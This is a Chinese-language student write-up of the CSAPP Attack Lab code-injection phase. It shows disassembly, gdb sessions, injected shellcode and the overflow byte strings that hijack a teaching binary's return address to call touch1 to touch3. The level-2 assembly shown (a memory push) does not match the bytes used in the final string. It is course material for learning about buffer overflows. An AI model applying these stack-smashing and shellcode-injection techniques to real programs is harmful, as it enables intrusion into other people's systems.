课程项目CSAPPCSAPP-Lab3-AttackLab
Hoshea Zhang这一个lab还是汇编相关的实验
Part1 Code Injection Attacks
level1
先将ctarget的反汇编弄出来
objdump -d ctarget > c.txt
1 2 3 4 5 6 7 8 9 10 11 12 13
| void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); }
void touch1() { vlevel = 1; printf("Touch!: You called touch1()\n"); validate(1); exit(0); }
|
其中,ctarget的流程就是执行test函数,然后输入字符串。
level1的要求就是调用getbuf()后,调用touch1函数
1 2 3 4 5 6 7 8 9
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
|
getbuf开辟了40个字节的栈空间
这个echo函数开辟了24字节的栈空间,函数里有用户自定义的8字节的数组,用户在8字节内可以随便输入,但是输入超过23字节,就会覆盖到调用者栈帧最下面的返回地址。这里我们的是开辟了40个字节的空间,只要我们输入的字符串将调用者的返回地址覆盖成我们想要它返回的地址即可。查看touch1的反汇编
1 2 3 4 5 6 7 8 9 10
| 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
|
我们发现touch1的首地址是0x4017c0,注意使用小端法,输入的字符串要写成c0 17 40,这样开辟的40字节空间写什么都无所谓 最后填成这样即可:
1 2 3 4 5 6
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40
|
level2
第二阶段,我们需要做的是再输入字符串中注入一小段代码,然后拦截程序流,跳转到touch2
1 2 3 4 5 6 7 8 9 10 11
| void touch2(unsigned val){ vlevel = 2; if (val == cookie){ printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
|
这段程序就是验证传进来的参数val
是否和cookie
中值相等。本文中我的cookie
值为:0x59b997fa
解题思路:
- 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为
%rsp
的地址
- 将
cookie
值移入到%rdi
,%rdi
是函数调用的第一个参数
- 获取
touch2
的起始地址
- 想要调用
touch2
,而又不能直接使用call
,jmp
等指令,所以只能使用ret
改变当前指令寄存器的指向地址。ret
是从栈上弹出返回地址,所以在次之前必须先将touch2
的地址压栈
所以我们要注入的代码就是:
1 2 3 4 5
| /** inject.s */ 注入的代码
movq $0x59b997fa, %rdi pushq 0x4017ec ret
|
我们需要把上述汇编代码改成计算机可以执行的指令序列:
1 2 3 4 5 6 7 8 9 10 11 12
| hoshea@hoshea-pc:~/Desktop/CSAPP/target1$ gcc -c inject.s hoshea@hoshea-pc:~/Desktop/CSAPP/target1$ objdump -d inject.o
inject.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: ff 34 25 ec 17 40 00 pushq 0x4017ec e: c3 retq
|
因此三条指令序列如下:
1
| 48 c7 c7 fa 97 b9 59 ff 34 25 ec 17 40 00 c3
|
下面就是寻找rsp的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| linux> gdb ctarget
(gdb)> break getbuf (gdb)> run -q (gdb)> disas => 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: callq 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: retq
(gdb)> stepi (gdb) p /x $rsp $1 = 0x5561dc78
|
如上所示,我们获取到了%rsp
的地址,结合上文所讲,可以构造出如下字符串,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp
的地址,可以得到如下字符串:
1 2 3 4 5
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 <--- 注入代码的起始地址
|
level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void touch3(char *sval){ vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } int hexmatch(unsigned val, char *sval){ char cbuf[110]; char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
|
这次还是要调用touch3,与前面不同的是,这次传进的参数是一个字符串,同时函数内部用了另外一个函数来比较。本次要 比较的是”59b997fa”这个字符串。
writeup里给了几个提示:
- 在C语言中字符串是以
\0
结尾,所以在字符串序列的结尾是一个字节0
man ascii
可以用来查看每个字符的16进制表示
- 当调用
hexmatch
和strncmp
时,他们会把数据压入到栈中,有可能会覆盖getbuf
栈帧的数据,所以传进去字符串的位置必须小心谨慎。
这次与上一次的最大区别就是多了一个函数,hexmatch也开辟了110字节的栈帧,strncmp也会开辟空间,但是就代码来看,*s存放的地址是随机的,如果我们将数据放在getbuf的栈空间里面,很有可能就被这两个函数cover了。所以我们要把数据放到一个相对安全的栈空间里,这里我们选择放在父帧即test的栈空间里。gdb看一下test栈空间地址。
解题思路:
- 将
cookie
字符串转化为16进制
- 将字符串的地址传送到
%rdi
中
- 和第二阶段一样,想要调用
touch3
函数,则先将touch3
函数的地址压栈,然后调用ret
指令。
1 2 3 4 5
| /** inject.s */ 注入的代码
movq $0x5561dca8, %rdi pushq 0x4018fa ret
|
1 2 3 4 5 6 7 8 9
| linux> gcc -c inject.s linux> objdump -d inject.o
Disassembly of section .text:
0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq
|
可以得到这三条指令序列如下:
1
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
|
使用man ascii
命令,可以得到cookie
的16进制数表示:
1
| 35 39 62 39 39 37 66 61 00
|
根据上述,我们可以得到最后输入字符的序列如下:
1 2 3 4 5 6
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
|